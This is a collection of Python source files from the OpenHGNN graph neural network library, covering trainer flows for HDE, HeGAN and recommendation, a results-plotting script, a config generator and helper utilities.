self.emb_model.save_embedding_txt(self.dataset, self.args.output_emb_file) elif self.args.save_in_pt: self.emb_model.save_embedding_pt(self.dataset, self.args.output_emb_file) else: self.emb_model.save_embedding(self.dataset, self.args.output_emb_file) ``` #### File: openhgnn/trainerflow/hde_trainer.py ```python import torch as th from torch import nn from tqdm import tqdm import torch from . import BaseFlow, register_flow from ..models import build_model from ..utils import extract_embed, EarlyStopping, get_nodes_dict import torch.optim as optim from sklearn.metrics import roc_auc_score from ..sampler import hde_sampler @register_flow("hde_trainer") class hde_trainer(BaseFlow): """ HDE trainer flow. Supported Model: HDE Supported Dataset:imdb4hde The trainerflow supports link prediction task. It first calculates HDE for every node in the graph, and uses the HDE as a part of the initial feature for each node. And then it performs standard message passing and link prediction operations. Please notice that for different target node set, the HDE for each node can be different. For more details, please refer to the original paper: http://www.shichuan.org/doc/116.pdf """ def __init__(self, args): super(hde_trainer, self).__init__(args) self.target_link = self.task.dataset.target_link self.loss_fn = self.task.get_loss_fn() self.args.out_node_type = self.task.dataset.out_ntypes self.type2idx = {'A': 0, 'B': 1} self.node_type = len(self.type2idx) self.num_fea = (self.node_type * (args.max_dist + 1)) * 2 + self.node_type self.sample_size = self.num_fea * (1 + args.num_neighbor + args.num_neighbor * args.num_neighbor) self.args.patience = 10 args.input_dim = self.num_fea args.output_dim = args.emb_dim // 2 self.model = build_model(self.model_name).build_model_from_args(self.args, self.hg).to(self.device) # initialization for m in self.model.modules(): if isinstance(m, (nn.Conv2d, nn.Linear)): nn.init.kaiming_normal_(m.weight, mode='fan_in') self.loss_fn = nn.CrossEntropyLoss().to(self.device) self.optimizer = optim.Adam(self.model.parameters(), lr=args.lr, weight_decay=1e-2) self.evaluator = roc_auc_score self.HDE_sampler = hde_sampler.HDESampler(self) self.HDE_sampler.dgl2nx() self.data_A_train, self.data_B_train, self.data_y_train, \ self.val_batch_A_fea, self.val_batch_B_fea, self.val_batch_y, \ self.test_batch_A_fea, self.test_batch_B_fea, self.test_batch_y = self.HDE_sampler.compute_hde(args) def train(self): epoch_iter = tqdm(range(self.max_epoch)) stopper = EarlyStopping(self.args.patience, self._checkpoint) for epoch in tqdm(range(self.max_epoch), ncols=80): loss = self._mini_train_step() if epoch % 2 == 0: val_metric = self._test_step('valid') epoch_iter.set_description( f"Epoch: {epoch:03d}, roc_auc: {val_metric:.4f}, Loss:{loss:.4f}" ) early_stop = stopper.step_score(val_metric, self.model) if early_stop: print('Early Stop!\tEpoch:' + str(epoch)) break print(f"Valid_score_ = {stopper.best_score: .4f}") stopper.load_model(self.model) test_auc = self._test_step(split="test") val_auc = self._test_step(split="valid") print(f"Test roc_auc = {test_auc:.4f}") return dict(Test_mrr=test_auc, Val_mrr=val_auc) def _mini_train_step(self,): self.model.train() all_loss = 0 for (train_batch_A_fea, train_batch_B_fea, train_batch_y) in zip(self.data_A_train, self.data_B_train, self.data_y_train): # train self.model.train() train_batch_A_fea = torch.FloatTensor(train_batch_A_fea).to(self.device) train_batch_B_fea = torch.FloatTensor(train_batch_B_fea).to(self.device) train_batch_y = torch.LongTensor(train_batch_y).to(self.device) logits = self.model(train_batch_A_fea, train_batch_B_fea) loss = self.loss_fn(logits, train_batch_y.squeeze()) self.optimizer.zero_grad() loss.backward() self.optimizer.step() all_loss += loss.item() return all_loss def _test_step(self, split=None, logits=None): self.model.eval() with th.no_grad(): if split == 'valid': data_A_eval = self.val_batch_A_fea data_B_eval = self.val_batch_B_fea data_y_eval = self.val_batch_y elif split == 'test': data_A_eval = self.test_batch_A_fea data_B_eval = self.test_batch_B_fea data_y_eval = self.test_batch_y logits = self.model(data_A_eval, data_B_eval) pred = logits.argmax(dim=1) metric = self.evaluator(data_y_eval.cpu().numpy(), pred.cpu().numpy()) return metric ``` #### File: openhgnn/trainerflow/HeGAN_trainer.py ```python import argparse import copy import dgl import numpy as np import torch from tqdm import tqdm import torch.nn.functional as F from openhgnn.models import build_model from . import BaseFlow, register_flow from ..tasks import build_task import random import copy class GraphSampler2: r""" A faster sampler than GraphSampler. First load graph data to self.hg_dict, then interate. """ def __init__(self, hg, k): self.k = k self.ets = hg.canonical_etypes self.nt_et = {} for et in hg.canonical_etypes: if et[0] not in self.nt_et: self.nt_et[et[0]] = [et] else: self.nt_et[et[0]].append(et) self.hg_dict = {key: {} for key in hg.ntypes} for nt in hg.ntypes: for nid in range(hg.num_nodes(nt)): if nid not in self.hg_dict[nt]: self.hg_dict[nt][nid] = {} for et in self.nt_et[nt]: self.hg_dict[nt][nid][et] = hg.successors(nid, et) def sample_graph_for_dis(self): r""" sample three graphs from original graph. Note ------------ pos_hg: Sampled graph from true graph distribution, that is from the original graph with real node and real relation. neg_hg1: Sampled graph with true nodes pair but wrong realtion. neg_hg2: Sampled graph with true scr nodes and realtion but wrong node embedding. """ pos_dict = {} neg_dict1 = {} neg_dict2 = {} for nt in self.hg_dict.keys(): for src in self.hg_dict[nt].keys(): for i in range(self.k): et = random.choice(self.nt_et[nt]) dst = random.choice(self.hg_dict[nt][src][et]) if et not in pos_dict: pos_dict[et] = ([src], [dst]) else: pos_dict[et][0].append(src) pos_dict[et][1].append(dst) wrong_et = random.choice(self.ets) while wrong_et == et: wrong_et = random.choice(self.ets) wrong_et = (et[0], wrong_et[1], et[2]) if wrong_et not in neg_dict1: neg_dict1[wrong_et] = ([src], [dst]) else: neg_dict1[wrong_et][0].append(src) neg_dict1[wrong_et][1].append(dst) pos_hg = dgl.heterograph(pos_dict, {nt: len(self.hg_dict[nt].keys()) for nt in self.hg_dict.keys()}) pos_hg1 = dgl.heterograph(neg_dict1, {nt: len(self.hg_dict[nt].keys()) for nt in self.hg_dict.keys()}) pos_hg2 = dgl.heterograph(pos_dict, {nt: len(self.hg_dict[nt].keys()) for nt in self.hg_dict.keys()}) return pos_hg, pos_hg1, pos_hg2 def sample_graph_for_gen(self): d = {} for nt in self.hg_dict.keys(): for src in self.hg_dict[nt].keys(): for i in range(self.k): et = self.nt_et[nt][random.randint(0, len(self.nt_et[nt]) - 1)] dst = self.hg_dict[nt][src][et][random.randint(0, len(self.hg_dict[nt][src][et]) - 1)] if et not in d: d[et] = ([src], [dst]) else: d[et][0].append(src) d[et][1].append(dst) return dgl.heterograph(d, {nt: len(self.hg_dict[nt].keys()) for nt in self.hg_dict.keys()}) class GraphSampler: def __init__(self, hg, k): self.nt_et = {} for et in hg.canonical_etypes: if et[0] not in self.nt_et: self.nt_et[et[0]] = [et] else: self.nt_et[et[0]].append(et) self.k = k self.hg = hg def sample_graph_for_dis(self): pos_dict = {} neg_dict1 = {} neg_dict2 = {} for nt in self.hg.ntypes: for src in self.hg.nodes(nt): for i in range(self.k): et = self.nt_et[nt][random.randint(0, len(self.nt_et[nt])-1)] dst = self.hg.successors(src, et)[random.randint(0, len(self.hg.successors(src, et))-1)] if et not in pos_dict: pos_dict[et] = ([src], [dst]) else: pos_dict[et][0].append(src) pos_dict[et][1].append(dst) ets = copy.deepcopy(self.hg.etypes) ets.remove(et[1]) wrong_et = (et[0], random.choice(ets), et[2]) if wrong_et not in neg_dict1: neg_dict1[wrong_et] = ([src], [dst]) else: neg_dict1[wrong_et][0].append(src) neg_dict1[wrong_et][1].append(dst) neg_dict2 = copy.deepcopy(pos_dict) pos_hg = dgl.heterograph(pos_dict, {nt: self.hg.number_of_nodes(nt) for nt in self.hg.ntypes}) pos_hg1 = dgl.heterograph(neg_dict1, {nt: self.hg.number_of_nodes(nt) for nt in self.hg.ntypes}) pos_hg2 = dgl.heterograph(neg_dict2, {nt: self.hg.number_of_nodes(nt) for nt in self.hg.ntypes}) return pos_hg, pos_hg1, pos_hg2 def sample_graph_for_gen(self): d = {} for nt in self.hg.ntypes: for src in self.hg.nodes(nt): for i in range(self.k): et = self.nt_et[nt][random.randint(0, len(self.nt_et[nt]) - 1)] # random edge type dst = self.hg.successors(src, et)[random.randint(0, len(self.hg.successors(src, et)) - 1)] if et not in d: d[et] = ([src], [dst]) else: d[et][0].append(src) d[et][1].append(dst) return dgl.heterograph(d, {nt: self.hg.number_of_nodes(nt) for nt in self.hg.ntypes}) @register_flow('HeGAN_trainer') class HeGANTrainer(BaseFlow): """Node classification flows. Supported Model: HeGAN Supported Dataset:yelp The task is to classify the nodes of HIN(Heterogeneous Information Network). Note: If the output dim is not equal the number of classes, a MLP will follow the gnn model. """ def __init__(self, args): super().__init__(args) self.num_classes = self.task.dataset.num_classes self.category = self.task.dataset.category self.hg = self.task.get_graph() self.model = build_model(self.model_name).build_model_from_args(self.args, self.hg) self.model = self.model.to(self.device) self.evaluator = self.task.evaluator.classification self.evaluate_interval = 1 self.loss_fn = torch.nn.BCEWithLogitsLoss(reduction='sum') self.optim_dis = torch.optim.Adam(self.model.discriminator.parameters(), lr=args.lr_dis, weight_decay=args.wd_dis) self.optim_gen = torch.optim.Adam(self.model.generator.parameters(), lr=args.lr_gen, weight_decay=args.wd_gen) self.train_idx, self.val_idx, self.test_idx = self.task.get_idx() self.labels = self.task.get_labels().to(self.device) self.sampler = GraphSampler(self.hg, self.args.n_sample) self.sampler2 = GraphSampler2(self.hg, self.args.n_sample) def train(self): epoch_iter = tqdm(range(self.args.max_epoch)) for epoch in epoch_iter: if self.args.mini_batch_flag: dis_loss, gen_loss = self._mini_train_step() else: dis_loss, gen_loss = self._full_train_step() dis_score, gen_score = self._test_step() print(epoch) print("discriminator:\n\tloss:{:.4f}\n\tmicro_f1: {:.4f},\n\tmacro_f1: {:.4f}".format(dis_loss, dis_score[0], dis_score[1])) print("generator:\n\tloss:{:.4f}\n\tmicro_f1: {:.4f},\n\tmacro_f1: {:.4f}".format(gen_loss, gen_score[0], gen_score[1])) def _mini_train_step(self): dis_loss, gen_loss = None, None return dis_loss, gen_loss def _full_train_step(self): r""" Note ---- pos_loss: positive graph loss. neg_loss1: negative graph loss with wrong realtions. neg_loss2: negativa graph loss with wrong nodes embedding. """ self.model.train() gen_loss = None dis_loss = None # discriminator step for _ in range(self.args.epoch_dis): # pos_hg, pos_hg1, pos_hg2 = self.sampler.sample_graph_for_dis() pos_hg, pos_hg1, pos_hg2 = self.sampler2.sample_graph_for_dis() pos_hg = pos_hg.to(self.device) pos_hg1 = pos_hg1.to(self.device) pos_hg2 = pos_hg2.to(self.device) noise_emb = { et: torch.tensor(np.random.normal(0.0, self.args.sigma, (pos_hg2.num_edges(et), self.args.emb_size)).astype('float32')).to(self.device) for et in pos_hg2.canonical_etypes } self.model.generator.assign_node_data(pos_hg2, None) self.model.generator.assign_edge_data(pos_hg2, None) generate_neighbor_emb = self.model.generator.generate_neighbor_emb(pos_hg2, noise_emb) pos_score, neg_score1, neg_score2 = self.model.discriminator(pos_hg, pos_hg1, pos_hg2, generate_neighbor_emb) pos_loss = self.loss_fn(pos_score, torch.ones_like(pos_score)) neg_loss1 = self.loss_fn(neg_score1, torch.zeros_like(neg_score1)) neg_loss2 = self.loss_fn(neg_score2, torch.zeros_like(neg_score2)) dis_loss = pos_loss + neg_loss2 + neg_loss1 self.optim_dis.zero_grad() dis_loss.backward() self.optim_dis.step() # generator step dis_node_emb, dis_relation_matrix = self.model.discriminator.get_parameters() for _ in range(self.args.epoch_gen): # gen_hg = self.sampler.sample_graph_for_gen() gen_hg = self.sampler2.sample_graph_for_gen() noise_emb = { # et: torch.tensor(np.random.normal(0.0, self.args.sigma, self.gen_hg.edata['e'][et].shape)) et: torch.tensor(np.random.normal(0.0, self.args.sigma, (gen_hg.num_edges(et), self.args.emb_size)).astype('float32')).to(self.device) for et in gen_hg.canonical_etypes } gen_hg = gen_hg.to(self.device) score = self.model.generator(gen_hg, dis_node_emb, dis_relation_matrix, noise_emb) gen_loss = self.loss_fn(score, torch.ones_like(score)) self.optim_gen.zero_grad() gen_loss.backward() self.optim_gen.step() return dis_loss.item(), gen_loss.item() def _test_step(self, split=None, logits=None): self.model.eval() self.model.generator.eval() self.model.discriminator.eval() with torch.no_grad(): dis_emb = self.model.discriminator.nodes_embedding[self.category] gen_emb = self.model.generator.nodes_embedding[self.category] dis_metric = self.evaluator(dis_emb.cpu(), self.labels.cpu()) gen_metric = self.evaluator(gen_emb.cpu(), self.labels.cpu()) return dis_metric, gen_metric ``` #### File: openhgnn/trainerflow/recommendation.py ```python import dgl import numpy as np import torch as th from tqdm import tqdm import torch from openhgnn.models import build_model from . import BaseFlow, register_flow from ..utils import EarlyStopping @register_flow("recommendation") class Recommendation(BaseFlow): """Recommendation flows.""" def __init__(self, args=None): super(Recommendation, self).__init__(args) self.target_link = self.task.dataset.target_link self.args.out_node_type = self.task.dataset.out_ntypes self.args.out_dim = self.args.hidden_dim self.model = build_model(self.model_name).build_model_from_args(self.args, self.hg) self.model = self.model.to(self.device) self.reg_weight = 0.1 self.metric = ['recall', 'ndcg'] self.val_metric = 'recall' # self.topk_list = [5, 10, 20, 50, 100] self.topk = 20 #self.evaluator = self.task.get_evaluator(self.metric) self.optimizer = ( th.optim.Adam(self.model.parameters(), lr=args.lr, weight_decay=args.weight_decay) ) self.patience = args.patience self.max_epoch = args.max_epoch self.num_neg = self.task.dataset.num_neg self.user_name = self.task.dataset.user_name self.item_name = self.task.dataset.item_name self.num_user = self.hg.num_nodes(self.user_name) self.num_item = self.hg.num_nodes(self.user_name) self.train_eid_dict = { etype: self.hg.edges(etype=etype, form='eid') for etype in self.hg.canonical_etypes} def preprocess(self): self.train_hg, self.val_hg, self.test_hg = self.task.get_idx() self.train_neg_hg = self.task.dataset.construct_negative_graph(self.train_hg) self.train_hg = self.train_hg.to(self.device) self.val_hg = self.val_hg.to(self.device) self.test_hg = self.test_hg.to(self.device) self.negative_graph = self.train_neg_hg.to(self.device) self.positive_graph = self.train_hg.edge_type_subgraph([self.target_link]) # generage complete user-item graph for evaluation # src, dst = th.arange(self.num_user), th.arange(self.num_item) # src = src.repeat_interleave(self.num_item) # dst = dst.repeat(self.num_user) # self.eval_graph = dgl.heterograph({('user', 'user-item', 'item'): (src, dst)}, {'user': self.num_user, 'item': self.num_item}).to(self.device) self.preprocess_feature() return def train(self): self.preprocess() epoch_iter = tqdm(range(self.max_epoch)) stopper = EarlyStopping(self.args.patience, self._checkpoint) for epoch in tqdm(range(self.max_epoch), ncols=80): loss = 0 if self.args.mini_batch_flag: loss = self._mini_train_step() else: loss = self._full_train_step() if epoch % self.evaluate_interval == 0: metric_dic = self._test_step(split='val') epoch_iter.set_description( f"Epoch: {epoch:03d}, Recall@K: {metric_dic['recall']:.4f}, NDCG@K: {metric_dic['ndcg']:.4f}, Loss:{loss:.4f}" ) early_stop = stopper.step_score(metric_dic[self.val_metric], self.model) if early_stop: print('Early Stop!\tEpoch:' + str(epoch)) break print(f"Valid {self.val_metric} = {stopper.best_score: .4f}") stopper.load_model(self.model) test_metric_dic = self._test_step(split="test") #val_metric_dic = self._test_step(split="val") print(f"Test Recall@K = {test_metric_dic['recall']: .4f}, NDCG@K = {test_metric_dic['ndcg']: .4f}") # result = dict(Test_metric=test_metric_dic, Val_metric=val_metric_dic) # with open(self.args.results_path, 'w') as f: # json.dump(result, f) # f.write('\n') # self.task.dataset.save_results(result, self.args.results_path) return test_metric_dic['recall'], test_metric_dic['ndcg'], epoch # return dict(Test_metric=test_metric_dic, Val_metric=val_metric_dic) def loss_calculation(self, positive_graph, negative_graph, embedding): p_score = self.ScorePredictor(positive_graph, embedding).repeat_interleave(self.num_neg) n_score = self.ScorePredictor(negative_graph, embedding) bpr_loss = -torch.log(torch.sigmoid(p_score - n_score)).mean() reg_loss = self.regularization_loss(embedding) return bpr_loss + self.reg_weight * reg_loss def ScorePredictor(self, edge_subgraph, x): with edge_subgraph.local_scope(): for ntype in [self.user_name, self.item_name]: edge_subgraph.nodes[ntype].data['x'] = x[ntype] edge_subgraph.apply_edges( dgl.function.u_dot_v('x', 'x', 'score'), etype=self.target_link) score = edge_subgraph.edges[self.target_link].data['score'] return score.squeeze() def regularization_loss(self, embedding): reg_loss = th.zeros(1, 1, device=self.device) for e in embedding.values(): reg_loss += th.mean(e.pow(2)) return reg_loss def _full_train_step(self): self.model.train() h_dict = self.input_feature() embedding = self.model(self.train_hg, h_dict) loss = self.loss_calculation(self.positive_graph, self.negative_graph, embedding) self.optimizer.zero_grad() loss.backward() self.optimizer.step() # print(loss.item()) return loss.item() def _test_step(self, split=None, logits=None): self.model.eval() if split == 'val': test_graph = self.val_hg elif split == 'test': test_graph = self.test_hg else: raise ValueError('split must be in [val, test]') with th.no_grad(): h_dict = self.input_feature() embedding = self.model(self.hg, h_dict) score_matrix = (embedding[self.user_name] @ embedding[self.item_name].T).detach().cpu().numpy() train_u, train_i = self.positive_graph.edges(etype=self.target_link)[0].cpu().numpy(), self.positive_graph.edges(etype=self.target_link)[1].cpu().numpy() score_matrix[train_u, train_i] = np.NINF ind = np.argpartition(score_matrix, -self.topk) # (num_users, num_items) ind = ind[:, -self.topk:] # (num_users, k), indicating non-ranked rec list arr_ind = score_matrix[np.arange(self.num_user)[:, None], ind] arr_ind_argsort = np.argsort(arr_ind)[np.arange(self.num_user), ::-1] pred_list = ind[np.arange(len(score_matrix))[:, None], arr_ind_argsort] # (num_uses, k) metric_dic = {} for m in self.metric: if m == 'recall': metric_k = recall_at_k(pred_list, test_graph, self.topk, self.user_name, self.target_link) elif m == 'ndcg': metric_k = ndcg_at_k(pred_list, test_graph, self.topk, self.user_name, self.target_link) else: raise NotImplementedError metric_dic[m] = metric_k return metric_dic def recall_at_k(pred_list, test_graph, k, user_name, target_link): sum = 0.0 test_users = 0 for user in range(test_graph.num_nodes(user_name)): test_items_set = set(test_graph.successors(user, etype=target_link).cpu().numpy()) pred_items_set = set(pred_list[user][:k]) if len(test_items_set) != 0: sum += len(test_items_set & pred_items_set) / float(len(test_items_set)) test_users += 1 return sum / test_users def ndcg_at_k(pred_list, test_graph, k, user_name, target_link): ndcg = [] for user in range(test_graph.num_nodes(user_name)): test_items_set = set(test_graph.successors(user, etype=target_link).cpu().numpy()) pred_items_set = pred_list[user][:k] hit_list = [1 if i in pred_items_set else 0 for i in test_items_set] GT = len(test_items_set) if GT >= k: ideal_hit_list = [1] * k else: ideal_hit_list = [1] * GT + [0] * (k - GT) # idcg = compute_DCG(sorted(hit_list, reverse=True)) idcg = compute_DCG(ideal_hit_list) if idcg: ndcg.append(compute_DCG(hit_list) / idcg) return np.mean(ndcg) def compute_DCG(l): l = np.array(l) if l.size: return np.sum(np.subtract(np.power(2, l), 1) / np.log2(np.arange(2, l.size + 2))) else: return 0.0 # if __name__ == '__main__': # dataset_name = 'Yelp' # rec_dataset = TestRecData(dataset_name) # print(rec_dataset) ``` #### File: space4hgnn/figure/distribution.py ```python import matplotlib import matplotlib.pyplot as plt import numpy as np import pandas as pd import random import os import json import scipy import scipy.stats jian_file = 'result2' grid_file = 'result2' datasets = ['HGBn-ACM', 'HGBn-DBLP', 'HGBn-IMDB', 'HNE-PubMed', 'HGBn-Freebase', 'HGBn-ACM'] xL = [[[0, 1], [0, 1], [0, 1],[0, 1] ,[0, 1],[0, 1],], [[0.8, 0.95], [0.7, 0.95], [0.5, 0.65], [0.1, 0.6], [0.2, 0.5], [0.2, 0.5]],] yL = [[[0, 1], [0, 1], [0, 1],[0, 1], [0, 1],[0, 1],], [[0.6, 1], [0.55, 1], [0.6, 1],[0.6, 1], [0.6, 1],[0.6, 1]]] # jian_file = 'result2' # grid_file = 'result2' # datasets = ['HGBl-ACM', 'HGBl-DBLP', 'HGBl-IMDB', 'HGBl-PubMed', 'HGBl-amazon', 'HGBl-LastFM'] # xL = [[[0, 1], [0, 1], [0, 1], [0, 1], [0, 1], [0, 1]], # [[0.8, 1], [0.6, 1], [0.5, 1], [0.7, 1], [0.8, 1],[0.8, 1]]] # yL = [[[0,1], [0,1], [0,1],[0,1], [0,1],[0,1],], # [[0.6, 1], [0.6, 1], [0.6, 1],[0.6, 1], [0.6, 1],[0.6, 1],]] score = 'score' dim = 'subgraph' num_data = len(datasets) # Detectron colors _COLORS = np.array([ 0.000, 0.447, 0.741, 0.850, 0.325, 0.098, 0.929, 0.694, 0.125, 0.494, 0.184, 0.556, 0.466, 0.674, 0.188 ]).astype(np.float32).reshape((-1, 3)) # Random number generator seed _RNG_SEED = 1 # Fix RNG seeds random.seed(_RNG_SEED) np.random.seed(_RNG_SEED) # Directory where sweep summaries are stored _DATA_DIR = '.' def load_sweep(sweep_name): """Loads a sweep summary.""" summary_path = os.path.join(_DATA_DIR, '{}.csv'.format(sweep_name)) with open(summary_path, 'r') as f: sweep_summary = pd.read_csv(f, sep=',') return sweep_summary # Load ResNet sweep results1 = load_sweep('{}'.format(jian_file)) results2 = load_sweep('{}'.format(grid_file)) def draw( i, j, ax, has_y=True, has_x=True): if i == 0: results = results1 else: results = results2 dataset = datasets[j] homo = results[(results[dim] == 'homo') & (results['dataset'] == dataset)] homo = set(homo[score].values.tolist()) relation = results[(results[dim] == 'relation') & (results['dataset'] == dataset)] relation = set(relation[score].values.tolist()) mp = results[(results[dim] == 'metapath') & (results['dataset'] == dataset)] mp = set(mp[score].values.tolist()) mix = results[(results[dim] == 'mixed') & (results['dataset'] == dataset)] mix = set(mix[score].values.tolist()) # Text experiment, point estimates random.seed(_RNG_SEED) num_trials = 5000 N_mp = len(mp) N_relation = len(relation) N_homo = len(homo) N_mix = len(mix) random.seed(_RNG_SEED) err_homo = sorted([j for j in homo]) err_mp = sorted([j for j in mp]) err_relation = sorted([j for j in relation]) err_mix = sorted([j for j in mix]) edf_homo = np.arange(N_homo) / float(N_homo - 1) edf_relation = np.arange(N_relation) / float(N_relation - 1) edf_mp = np.arange(N_mp) / float(N_mp - 1) edf_mix = np.arange(N_mix) / float(N_mix) ax.plot( err_homo, edf_homo, color=_COLORS[1], linewidth=2, alpha=0.8, zorder=1, label='{}=homo'.format(dim) ) ax.plot( err_relation, edf_relation, color=_COLORS[0], linewidth=2, alpha=0.8, zorder=0, label='{}=relation'.format(dim) ) ax.plot( err_mp, edf_mp, color=_COLORS[2], linewidth=2, alpha=0.8, zorder=1, label='{}=metapath'.format(dim) ) # ax.plot( # err_mix, edf_mix, color=_COLORS[3], linewidth=2, alpha=0.8, # zorder=0, label='{}=mixed'.format(dim) # ) #ax.set_xlim([4.5, 13.5]) ax.set_xlim(xL[i][j]) ax.set_ylim(yL[i][j]) #ax.set_xticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1]) if not has_x: ax.set_xlabel('', fontsize=20) else: ax.set_xlabel('{}'.format(dataset), fontsize=20) if not has_y: ax.set_ylabel('', fontsize=20) else: ax.set_ylabel('cumulative prob.', fontsize=20) ax.grid(alpha=0.4) #ax.legend(loc='upper left', prop={'size': 14}) r, c = 2, num_data l_w, l_h = 4, 3 r_w, r_h = 4, 3 fig, axes = plt.subplots( nrows=r, ncols=c, figsize=(22, 6), gridspec_kw = {'width_ratios': [2] * num_data} ) for i in range(2): for j in range(len(datasets)): draw(i, j, axes[i, j], has_x = i==1, has_y= j == 0) plt.tight_layout() #plt.subplots_adjust(left=0.1, bottom=0.2, right=0.85, top=0.9, hspace=0.4, wspace=0.5) plt.subplots_adjust(left=0.05, bottom=0.2, right=0.97, top=0.9, hspace=0.3, wspace=0.25) lines, labels = fig.axes[-1].get_legend_handles_labels() fig.legend(lines, labels, loc='center right', title_fontsize= 'large', ) path = 'figs/1112' if not os.path.exists(path): os.makedirs(path) plt.savefig('{}/all_{}_node_1112.png'.format(path, dim), dpi=300) plt.show() ``` #### File: OpenHGNN/space4hgnn/generate_yaml.py ```python import yaml from random import choice import argparse import os hidden_dim = [8, 16, 32, 64, 128] layers_pre_mp = [1, 2, 3] layers_post_mp = [1, 2, 3] layers_gnn = [1, 2, 3, 4, 5, 6] stage_type = ['stack', 'skipsum', 'skipconcat'] activation = ['relu', 'lrelu', 'elu', 'sigmoid', 'tanh',] has_bn = [True, False] has_l2norm = [True, False] mini_batch_flag = False macro_func = ['attention', 'sum', 'mean', 'max'] dropout = [0.0, 0.3, 0.6] lr = [0.1, 0.01, 0.001, 0.0001] weight_decay = 0.0001 patience = 40 max_epoch = [100, 200, 400] optimizer = ['Adam', 'SGD'] num_heads = [1, 2, 4, 8] featn = [0, 1, 2] featl = [0, 2] loss_fn = ['distmult', 'dot-product'] gnn_type = ['gcnconv', 'gatconv', 'ginconv', 'sageconv'] def makeDict(gnn_type, type): dict = { 'hidden_dim': choice(hidden_dim), 'layers_pre_mp': choice(layers_pre_mp), 'layers_post_mp': choice(layers_post_mp), 'layers_gnn': choice(layers_gnn), 'stage_type': choice(stage_type), 'activation': choice(activation), 'dropout': choice(dropout), 'has_bn': choice(has_bn), 'feat': choice(featn) if type == 'node' else choice(featl), 'has_l2norm': choice(has_l2norm), 'lr': choice(lr), 'weight_decay': weight_decay, 'patience': patience, 'max_epoch': choice(max_epoch), 'mini_batch_flag': mini_batch_flag, 'macro_func': choice(macro_func), 'optimizer': choice(optimizer), 'num_heads': choice(num_heads), 'loss_fn': choice(loss_fn) if type == 'link' else None, 'gnn_type': gnn_type, } return dict def generate(gnn_type, i, key, configfile): datasets_node = ['HGBn-ACM', 'HGBn-IMDB', 'HGBn-DBLP', 'HGBn-Freebase', 'HNE-PubMed'] datasets_link = ['HGBl-amazon', 'HGBl-LastFM', 'HGBl-PubMed', 'HGBl-ACM', 'HGBl-DBLP', 'HGBl-IMDB'] datasets_rec = ['yelp4HeGAN', 'DoubanMovie'] dicts = {} dicts2 = {} dicts3 = {} for a in datasets_node: dict = makeDict(gnn_type, 'node') dicts[a] = dict for a in datasets_link: dict = makeDict(gnn_type, 'link') dicts2[a] = dict for a in datasets_rec: dict = makeDict(gnn_type, 'rec') dicts3[a] = dict aproject = {'node_classification': dicts, 'link_prediction': dicts2, 'recommendation': dicts3 } fileNamePath = os.path.split(os.path.realpath(__file__))[0] path = fileNamePath + '/config/{}'.format(configfile) if not os.path.exists(path): os.makedirs(path) path = '{}/{}'.format(path, key) if not os.path.exists(path): os.makedirs(path) name = gnn_type + '_' + i + '.yaml' yamlPath = os.path.join(path, name) with open(yamlPath, 'w') as f: yaml.dump(aproject, f) print('Generate yaml file successfully!') if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--gnn_type', '-a', default='gcnconv', type=str, help='gnn type') parser.add_argument('--times', '-s', default='1', type=str, help='times') parser.add_argument('--key', '-k', default='has_bn', type=str, help='attribute') parser.add_argument('--configfile', '-c', default='test', type=str, help='config file path') args = parser.parse_args() generate(args.gnn_type, args.times, args.key, args.configfile) ``` #### File: prediction/excel/gather_all_Csv.py ```python import os, glob import pandas as pd import argparse def all_path(dirname): list = [] postfix = set(['csv']) for maindir, subdir, file_name_list in os.walk(dirname): for filename in file_name_list: apath = os.path.join(maindir, filename) #if True: if apath.split('.')[-1] in postfix: try: # with open(filelistlog, 'a+') as fo: # fo.writelines(apath) # fo.write('\n') list.append(apath) except: pass return list if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--predictfile', '-p', default='predict', type=str, help='value') #parser.add_argument('--files', '-f', default='predict', type=str, help='value') args = parser.parse_args() all_files = all_path(args.predictfile) print(all_files) df_from_each_file = (pd.read_csv(f, sep=',') for f in all_files) df_merged = pd.concat(df_from_each_file, ignore_index=True, sort=False) df_merged.to_csv("{}/result.csv".format(args.predictfile)) ``` #### File: OpenHGNN/space4hgnn/utils.py ```python import os import yaml import torch as th import torch.nn as nn import numpy as np act_dict = { 'relu': nn.ReLU(), 'relu6': nn.ReLU6(), 'sigmoid': nn.Sigmoid(), 'lrelu': nn.LeakyReLU(negative_slope=0.5), 'tanh': nn.Tanh(), 'elu': nn.ELU(), 'prelu': nn.PReLU(), 'selu': nn.SELU(), 'lrelu_01': nn.LeakyReLU(negative_slope=0.1), 'lrelu_025': nn.LeakyReLU(negative_slope=0.25), 'lrelu_05': nn.LeakyReLU(negative_slope=0.5), } def load_act(act): act = act_dict.get(act, None) if act is None: raise ValueError('No corresponding activation') return act def read_config(args): # specify the model family if args.model == 'homo_GNN': args.model_family = 'homogenization' elif args.model == 'general_HGNN': assert args.subgraph_extraction in ['relation', 'metapath', 'mixed'] args.model_family = args.subgraph_extraction else: raise ValueError('Wrong model name or subgraph_extraction') fileNamePath = os.path.split(os.path.realpath(__file__))[0] if args.key == 'gnn_type': yamlPath = os.path.join(fileNamePath, 'config/{}/{}.yaml'.format(args.configfile, args.times)) else: yamlPath = os.path.join(fileNamePath, 'config/{}/{}/{}_{}.yaml'.format(args.configfile, args.key, args.gnn_type, args.times)) print(yamlPath) with open(yamlPath, 'r', encoding='utf-8') as f: cont = f.read() config_dict = yaml.safe_load(cont)[args.task][args.dataset] if args.gpu == -1: device = th.device('cpu') elif args.gpu >= 0: if th.cuda.is_available(): device = th.device('cuda', int(args.gpu)) else: print("cuda is not available, please set 'gpu' -1") for key, value in config_dict.items(): args.__setattr__(key, value) if args.key in ['has_bn', 'has_l2norm']: args.value = args.value == "True" elif args.key in ['stage_type', 'activation', 'macro_func', 'gnn_type', 'optimizer']: args.value = args.value else: args.value = float(args.value) if args.value % 1 == 0: args.value = int(args.value) args.__setattr__(args.key, args.value) args.__setattr__('device', device) args.__setattr__('metric', "f1") path = './space4hgnn/config/{}/{}/{}'.format(args.configfile, args.key, args.value) if not os.path.exists(path): os.makedirs(path) args.__setattr__('_checkpoint', path) args.__setattr__('HGB_results_path', None) args.activation = load_act(args.activation) return args ```
{ "source": "jingmouren/OptimalPortfolio", "score": 2 }
